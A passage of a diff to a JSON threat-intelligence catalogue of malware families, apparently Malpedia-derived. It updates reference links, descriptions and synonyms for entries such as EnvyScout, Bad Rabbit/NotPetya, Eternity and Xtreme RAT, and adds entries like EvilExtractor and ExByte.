"https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/?cmp=30728", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" ], "synonyms": [], @@ -22237,13 +23629,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.envyscout", - "https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/", - "https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/", "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/", + "https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/", + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", "https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf", - "https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/" + "https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/", + "https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine" + ], + "synonyms": [ + "ROOTSAW" ], - "synonyms": [], "type": [] }, "uuid": "0890e245-319d-4291-8f49-21dbc9486181", @@ -22255,8 +23652,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.epsilon_red", "https://therecord.media/epsilonred-ransomware-group-hits-one-of-indias-financial-software-powerhouses/", - "https://cybleinc.com/2021/06/03/nucleus-software-becomes-victim-of-the-blackcocaine-ransomware/", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://cybleinc.com/2021/06/03/nucleus-software-becomes-victim-of-the-blackcocaine-ransomware/", "https://news.sophos.com/en-us/2021/05/28/epsilonred/" ], "synonyms": [ @@ -22273,22 +23670,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug", "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/", - "https://mp.weixin.qq.com/s/3ZQhn32NB6p-LwndB2o2zQ", "https://securelist.com/inside-the-equationdrug-espionage-platform/69203/", - "http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html" + "http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html", + "https://mp.weixin.qq.com/s/3ZQhn32NB6p-LwndB2o2zQ" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "3e0c2d35-87cb-40f9-b341-a6c8dbec697e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "c4490972-3403-4043-9d61-899c0a440940", "value": "EquationDrug" }, @@ -22298,13 +23686,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationgroup", "https://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html", - "https://laanwj.github.io/2016/09/01/tadaqueos.html", - "https://laanwj.github.io/2016/08/28/feintcloud.html", - "https://laanwj.github.io/2016/09/13/blatsting-rsa.html", - "https://laanwj.github.io/2016/08/22/blatsting.html", - "https://laanwj.github.io/2016/09/23/seconddate-adventures.html", "https://laanwj.github.io/2016/09/11/buzzdirection.html", + "https://laanwj.github.io/2016/09/13/blatsting-rsa.html", + "https://laanwj.github.io/2016/09/23/seconddate-adventures.html", "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", + "https://laanwj.github.io/2016/08/28/feintcloud.html", + "https://laanwj.github.io/2016/09/01/tadaqueos.html", + "https://laanwj.github.io/2016/08/22/blatsting.html", "https://laanwj.github.io/2016/09/17/seconddate-cnc.html", "https://laanwj.github.io/2016/09/04/blatsting-command-and-control.html" ], @@ -22315,10 +23703,13 @@ "value": "Equationgroup (Sorting)" }, { - "description": "", + "description": "Erbium is an information stealer advertised and sold as a Malware-as-a-Service on cybercrime forums and Telegram since at least July 2022. Its capabilities are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber capabilities.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer", + "https://blog.cluster25.duskrise.com/2022/09/15/erbium-stealer-a-new-infostealer", + "https://www.bleepingcomputer.com/news/security/new-erbium-password-stealing-malware-spreads-as-game-cracks-cheats/", + "https://twitter.com/sekoia_io/status/1577222282929311744", "https://twitter.com/abuse_ch/status/1565290110572175361" ], "synonyms": [], @@ -22398,8 +23789,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternalrocks", - "https://github.com/stamparm/EternalRocks", - "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/" + "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "https://github.com/stamparm/EternalRocks" ], "synonyms": [ "MicroBotMassiveNet" @@ -22410,74 +23801,78 @@ "value": "EternalRocks" }, { - "description": "", + "description": "According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of Petya. Like other strains of ransomware, Bad Rabbit virus infections lock up victims’ computers, servers, or files preventing them from regaining access until a ransom—usually in Bitcoin—is paid.\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya", - "http://www.intezer.com/notpetya-returns-bad-rabbit/", - "https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html", - "https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/", - "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/", - "https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/", - "https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/", "https://www.bleepingcomputer.com/news/security/ransomware-attacks-continue-in-ukraine-with-mysterious-wannacry-clone/", - "https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4", - "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://attack.mitre.org/groups/G0034", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", - "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html", - "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", - "https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html", - "https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer", - "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", + "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", "https://www.crowdstrike.com/blog/fast-spreading-petrwrap-ransomware-attack-combines-eternalblue-exploit-credential-stealing/", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine", - "https://www.riskiq.com/blog/labs/badrabbit/", - "https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/", - "https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/", - "https://securelist.com/bad-rabbit-ransomware/82851/", - "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", - "https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b", - "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", - "https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/", - "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", - "https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/", - "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/", - "https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://istari-global.com/spotlight/the-untold-story-of-notpetya/", - "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", - "https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/", - "http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", - "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", - "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html", - "https://aguinet.github.io//blog/2020/08/29/miasm-bootloader.html", - "http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html", "https://gvnshtn.com/maersk-me-notpetya/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", - "https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/", - "http://blog.talosintelligence.com/2017/10/bad-rabbit.html", "https://threatpost.com/ukrainian-man-arrested-charged-in-notpetya-distribution/127391/", + "https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", + "https://medium.com/@Ilandu/petya-not-petya-ransomware-9619cbbb0786", + "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", + "http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html", + "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", + "https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik", + "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", + "http://www.intezer.com/notpetya-returns-bad-rabbit/", + "https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/", + "https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/", + "https://securelist.com/from-blackenergy-to-expetr/78937/", + "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", + "https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/", + "https://www.secureworks.com/research/threat-profiles/iron-viking", + "https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/", + "https://securelist.com/bad-rabbit-ransomware/82851/", + "https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/", + "https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer", + "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://therecord.media/mondelez-and-zurich-reach-settlement-in-notpetya-cyberattack-insurance-suit/", + "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", + "https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine", + "https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/", + "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", + "https://attack.mitre.org/groups/G0034", + "https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "http://blog.talosintelligence.com/2017/10/bad-rabbit.html", + "http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", + "https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/", + "https://istari-global.com/spotlight/the-untold-story-of-notpetya/", "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/eternalglue-part-one-rebuilding-notpetya-to-assess-real-world-resilience/", - "https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "https://www.riskiq.com/blog/labs/badrabbit/", + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html", "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html", + "https://www.atlanticcouncil.org/content-series/tech-at-the-leading-edge/the-russian-cyber-unit-that-hacks-targets-on-site/", + "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", + "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b", "https://securelist.com/schroedingers-petya/78870/", + "https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/", + "https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/", + "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-yet-another-stolen-piece-package/", - "https://securelist.com/from-blackenergy-to-expetr/78937/" + "https://aguinet.github.io//blog/2020/08/29/miasm-bootloader.html" ], "synonyms": [ "BadRabbit", @@ -22500,8 +23895,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_clipper", - "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", - "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/" + "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", + "https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/" ], "synonyms": [], "type": [] @@ -22514,9 +23910,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_ransomware", - "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", - "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/" + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/" ], "synonyms": [], "type": [] @@ -22529,13 +23925,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_stealer", - "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on", - "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", - "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", "https://blog.sekoia.io/eternityteam-a-new-prominent-threat-group-on-underground-forums/", "https://twitter.com/3xp0rtblog/status/1509601846494695438", + "https://ke-la.com/information-stealers-a-new-landscape/", + "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on", + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", + "https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://ke-la.com/information-stealers-a-new-landscape/" + "https://securityintelligence.com/news/eternity-gang-ransomware-as-a-service-telegram/", + "https://blog.morphisec.com/nft-malware-new-evasion-abilities" ], "synonyms": [], "type": [] @@ -22548,9 +23947,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_worm", - "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", - "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/" + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/" ], "synonyms": [], "type": [] @@ -22563,24 +23962,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot", - "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", + "https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise", "https://www.secureworks.com/research/threat-profiles/bronze-globe", - "https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise" + "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" ], "synonyms": [ "HighTide" ], "type": [] }, - "related": [ - { - "dest-uuid": "91583583-95c0-444e-8175-483cbebc640b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "91af1080-6378-4a90-ba1e-78634cd31efe", "value": "EtumBot" }, @@ -22589,8 +23979,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny", - "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope", + "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "https://web.archive.org/web/20150218192803/http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/" ], "synonyms": [], @@ -22599,6 +23989,20 @@ "uuid": "dc39dcdf-50e7-4d55-94a0-926853f344f3", "value": "Evilbunny" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilextractor", + "https://www.netresec.com/?page=Blog&month=2023-04&post=EvilExtractor-Network-Forensics", + "https://www.fortinet.com/blog/threat-research/evil-extractor-all-in-one-stealer" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e020212b-03ef-4168-97f5-bb72ff627d94", + "value": "EvilExtractor" + }, { "description": "", "meta": { @@ -22613,15 +24017,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "c9b4ec27-0a43-4671-a967-bcac5df0e056", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "438c6d0f-03f0-4b49-89d2-40bf5349c3fc", "value": "EvilGrab" }, @@ -22630,12 +24025,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilnum", - "https://github.com/eset/malware-ioc/tree/master/evilnum", - "https://docs.broadcom.com/doc/ransom-and-malware-attacks-on-financial-services-institutions", - "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", "https://www.proofpoint.com/us/blog/threat-insight/buy-sell-steal-evilnum-targets-cryptocurrency-forex-commodities", + "https://github.com/eset/malware-ioc/tree/master/evilnum", "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://docs.broadcom.com/doc/ransom-and-malware-attacks-on-financial-services-institutions", "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", + "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", "https://mp.weixin.qq.com/s/lryl3a65uIz1AwZcfuzp1A" ], "synonyms": [], @@ -22690,13 +24085,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", "https://www.wired.com/story/sandworm-centreon-russia-hack/", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://attack.mitre.org/groups/G0034", - "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf" + "https://attack.mitre.org/groups/G0034" ], "synonyms": [], "type": [] @@ -22704,6 +24099,19 @@ "uuid": "dd68abd7-b20a-40a5-be53-ae8d45c1dd27", "value": "Exaramel (Windows)" }, + { + "description": "ExByte is a custom data exfiltration tool and infostealer observed being used during BlackByte ransomware attacks.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.exbyte", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "42f4fee9-a5c2-4643-be56-fba8700f835d", + "value": "ExByte" + }, { "description": "", "meta": { @@ -22726,8 +24134,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://github.com/nccgroup/Royal_APT" + "https://github.com/nccgroup/Royal_APT", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" ], "synonyms": [], "type": [] @@ -22753,8 +24161,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exmatter", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration", "https://www.kroll.com/en/insights/publications/cyber/analyzing-exmatter-ransomware-data-exfiltration-tool", + "https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack", + "https://www.accenture.com/us-en/blogs/security/stealbit-exmatter-exfiltration-tool-analysis", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration", "https://twitter.com/knight0x07/status/1461787168037240834?s=20" ], "synonyms": [], @@ -22781,10 +24191,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro", - "https://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Expiro", + "https://youtu.be/3RYbkORtFnk", "https://github.com/GiacomoFerro/malware-analysis/blob/master/report/report-malware.pdf", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Expiro" + "https://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/" ], "synonyms": [ "Xpiro" @@ -22796,18 +24207,31 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.explosive_rat", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d3600857-b941-4d47-81ef-02c168396518", + "value": "ExplosiveRAT" + }, + { + "description": "According to Trend MIcro, Extreme RAT (XTRAT, Xtreme Rat) is a Remote Access Trojan that can steal information. This RAT has been used in attacks targeting Israeli and Syrian governments last 2012.\r\n\r\nThis malware family of backdoors has the capability to receive commands such as File Management (Download, Upload, and Execute Files), Registry Management (Add, Delete, Query, and Modify Registry), Perform Shell Command, Computer Control (Shutdown, Log on/off), and Screen capture from a remote attacker. In addition, it can also log keystrokes of the infected systems.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.extreme_rat", + "https://www2.slideshare.net/ChiEnAshleyShen/hitcon-2020-cti-village-threat-hunting-and-campaign-tracking-workshoppptx/1", + "https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html", + "https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html", + "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", "https://citizenlab.ca/2015/12/packrat-report/", - "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", "https://blogs.360.cn/post/APT-C-44.html", "https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017", - "https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html", - "https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat", - "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", - "https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html", - "https://www2.slideshare.net/ChiEnAshleyShen/hitcon-2020-cti-village-threat-hunting-and-campaign-tracking-workshoppptx/1" + "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", + "https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat" ], "synonyms": [ "ExtRat" @@ -22822,8 +24246,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid", - "http://blog.talosintel.com/2017/01/Eye-Pyramid.html", - "https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/" + "https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/", + "http://blog.talosintel.com/2017/01/Eye-Pyramid.html" ], "synonyms": [], "type": [] @@ -22836,11 +24260,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eyservice", - "https://blog.malwarelab.pl/posts/nazar_eyservice_comm/", - "https://www.epicturla.com/blog/the-lost-nazar", + "https://research.checkpoint.com/2020/nazar-spirits-of-the-past/", 